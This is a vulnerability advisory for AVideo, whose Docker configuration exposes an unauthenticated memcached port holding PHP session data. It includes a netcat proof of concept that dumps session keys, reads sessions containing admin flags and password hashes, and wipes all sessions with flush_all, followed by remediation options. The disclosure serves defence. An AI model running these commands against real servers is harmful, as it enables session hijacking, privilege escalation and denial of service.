AVideo: Unauthenticated PHP session store exposed to host network via published memcached port

The memcached command has no authentication flags:

• No -S flag (SASL authentication)
• No -l 127.0.0.1 flag (interface binding restriction)

The default env.example reinforces this port:

MEMCACHE_PORT=11211

PHP sessions stored entirely in memcached

The Dockerfile configures PHP to use memcached as the session store:

; Dockerfile — lines 150-151
session.save_handler           = memcached
session.save_path              = "memcached:11211?persistent=1&timeout=2&retry_interval=5"

Session data contains all authentication state

The application stores complete authentication state in sessions. From objects/user.php:

// user.php:1521 — login check
$isLogged = !empty($_SESSION['user']['id']);

// user.php:1544 — admin check
return !empty($_SESSION['user']['isAdmin']);

Session data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.

Inconsistent defense: database services are correctly internal-only

The docker-compose.yml demonstrates awareness of proper service isolation — both database services have NO ports: directive:

# docker-compose.yml — database service (lines 136-163)
  database:
    build:
      context: .
      dockerfile: Dockerfile.mariadb
    # ... NO ports: directive — internal only
    networks:
      - app_net

# docker-compose.yml — database_encoder service (lines 165-189)
  database_encoder:
    build:
      context: .
      dockerfile: Dockerfile.mariadb
    # ... NO ports: directive — internal only
    networks:
      - app_net

Both databases are only reachable via the internal app_net Docker network. Memcached — which stores equally sensitive session data — should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.

Port exposure map

Execution chain

1. Attacker scans the target host and discovers port 11211 is open
2. Attacker connects with nc TARGET 11211 or any memcached client — no authentication required
3. Attacker runs stats items to enumerate session slab classes
4. Attacker runs stats cachedump <slab_id> <limit> to list session keys
5. Attacker runs get <session_key> to read serialized PHP session data containing user IDs, admin flags, and password hashes
6. Attacker either:
   • Hijacks a session: uses the session ID as a cookie to impersonate the user
   • Escalates privileges: modifies session data to set isAdmin to true via set <session_key>
   • Performs DoS: runs flush_all to destroy all sessions

Proof of Concept

# 1. Verify memcached is reachable (returns server stats)
echo -e "stats\r" | nc TARGET 11211

# 2. Enumerate session keys
echo -e "stats items\r" | nc TARGET 11211
# Then for each slab:
echo -e "stats cachedump 1 100\r" | nc TARGET 11211

# 3. Read a session (key format: memc.sess.key.<session_id>)
echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211
# Returns serialized PHP session with user data, admin flag, etc.

# 4. DoS — destroy all sessions (logs out every user)
echo -e "flush_all\r" | nc TARGET 11211

For session hijacking, extract the session ID from step 3 and set it as the PHPSESSID cookie in a browser to impersonate the victim user.

Impact

• Session hijacking: Read any user's session data and impersonate them by reusing their session ID — including admin accounts
• Privilege escalation: Modify session data to set $_SESSION['user']['isAdmin'] to a truthy value, granting admin access to any session
• Credential exposure: Session data includes password hashes ($_SESSION['user']['passhash'], user.php:555) that can be cracked offline
• Mass session destruction: flush_all destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service
• Reconnaissance: stats reveals server uptime, memory usage, connection counts, and cache hit/miss ratios

Recommended Remediation

Option 1: Remove the port mapping (preferred — one-line fix)

Memcached is only used internally by the PHP application via Docker networking. Remove the ports: directive entirely:

# docker-compose.yml — memcached service
  memcached:
    image: memcached:alpine
    restart: unless-stopped
    command: >
      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200
    # REMOVED: ports:
    #   - "${MEMCACHE_PORT:-11211}:11211"
    deploy:
      resources:
        limits:
          cpus: '1'
          memory: "4G"
        reservations:
          cpus: '0.5'
          memory: '1G'
    networks:
      - app_net

Also remove MEMCACHE_PORT=11211 from env.example since the port is no longer published.

The PHP application connects via the Docker internal hostname memcached:11211 (from session.save_path), which uses the app_net bridge network and does not require host-level port mapping.

Option 2: Bind memcached to localhost only (if host access is needed for debugging)

If host-level access to memcached is needed for debugging, bind only to the loopback interface:

    ports:
      - "127.0.0.1:${MEMCACHE_PORT:-11211}:11211"

This prevents remote access while allowing localhost:11211 connections from the Docker host.

Option 3: Enable SASL authentication (defense-in-depth)

Add SASL authentication to memcached as an additional layer:

    command: >
      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S
    environment:
      MEMCACHED_USERNAME: "${MEMCACHED_USER:-avideo}"
      MEMCACHED_PASSWORD: "${MEMCACHED_PASSWORD}"

Update the PHP session configuration accordingly:

session.save_path = "PERSISTENT=myapp avideo:${MEMCACHED_PASSWORD}@memcached:11211"

Note: Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.